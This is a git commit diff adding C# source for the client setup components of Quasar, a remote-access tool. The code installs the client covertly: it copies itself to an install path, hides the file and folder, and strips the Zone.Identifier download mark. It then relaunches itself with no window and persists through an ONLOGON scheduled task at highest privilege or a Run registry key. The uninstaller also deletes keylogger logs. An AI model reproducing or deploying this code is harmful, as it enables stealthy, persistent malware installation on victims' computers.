initial commit
This commit is contained in:
@@ -0,0 +1,101 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientInstaller : ClientSetupBase
|
||||
{
|
||||
public void ApplySettings()
|
||||
{
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY);
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEFILE)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
|
||||
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
|
||||
{
|
||||
try
|
||||
{
|
||||
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||
di.Attributes |= FileAttributes.Hidden;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void Install()
|
||||
{
|
||||
// create target dir
|
||||
if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
|
||||
{
|
||||
Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
|
||||
}
|
||||
|
||||
// delete existing file
|
||||
if (File.Exists(Settings.INSTALLPATH))
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(Settings.INSTALLPATH);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
if (ex is IOException || ex is UnauthorizedAccessException)
|
||||
{
|
||||
// kill old process running at destination path
|
||||
Process[] foundProcesses =
|
||||
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH));
|
||||
int myPid = Process.GetCurrentProcess().Id;
|
||||
foreach (var prc in foundProcesses)
|
||||
{
|
||||
// dont kill own process
|
||||
if (prc.Id == myPid) continue;
|
||||
// only kill the process at the destination path
|
||||
if (prc.MainModule?.FileName != Settings.INSTALLPATH) continue;
|
||||
prc.Kill();
|
||||
Thread.Sleep(2000);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
|
||||
|
||||
ApplySettings();
|
||||
|
||||
FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH);
|
||||
|
||||
//start file
|
||||
var startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
UseShellExecute = false,
|
||||
FileName = Settings.INSTALLPATH
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using Quasar.Client.User;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public abstract class ClientSetupBase
|
||||
{
|
||||
protected UserAccount UserAccount;
|
||||
|
||||
protected ClientSetupBase()
|
||||
{
|
||||
UserAccount = new UserAccount();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using Microsoft.Win32;
|
||||
using Quasar.Client.Helper;
|
||||
using Quasar.Common.Enums;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientStartup : ClientSetupBase
|
||||
{
|
||||
public void AddToStartup(string executablePath, string startupName)
|
||||
{
|
||||
if (UserAccount.Type == AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
|
||||
"\" /rl HIGHEST /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return;
|
||||
}
|
||||
|
||||
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
|
||||
true);
|
||||
}
|
||||
|
||||
public void RemoveFromStartup(string startupName)
|
||||
{
|
||||
if (UserAccount.Type == AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = "/delete /tn \"" + startupName + "\" /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true
|
||||
};
|
||||
|
||||
Process p = Process.Start(startInfo);
|
||||
p.WaitForExit(1000);
|
||||
if (p.ExitCode == 0) return;
|
||||
}
|
||||
|
||||
RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
|
||||
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.IO;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientUninstaller : ClientSetupBase
|
||||
{
|
||||
public void Uninstall()
|
||||
{
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||
}
|
||||
|
||||
if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH))
|
||||
{
|
||||
// this must match the keylogger log files
|
||||
Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$");
|
||||
|
||||
foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly)
|
||||
.Where(path => reg.IsMatch(Path.GetFileName(path))).ToList())
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(logFile);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
// no important exception
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.IO;
|
||||
using Quasar.Common.Helpers;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Setup
|
||||
{
|
||||
public class ClientUpdater : ClientSetupBase
|
||||
{
|
||||
public void Update(string newFilePath)
|
||||
{
|
||||
FileHelper.DeleteZoneIdentifier(newFilePath);
|
||||
|
||||
var bytes = File.ReadAllBytes(newFilePath);
|
||||
if (!FileHelper.HasExecutableIdentifier(bytes))
|
||||
throw new Exception("No executable file.");
|
||||
|
||||
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
|
||||
|
||||
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||
{
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true,
|
||||
FileName = batchFile
|
||||
};
|
||||
Process.Start(startInfo);
|
||||
|
||||
if (Settings.STARTUP)
|
||||
{
|
||||
var clientStartup = new ClientStartup();
|
||||
clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user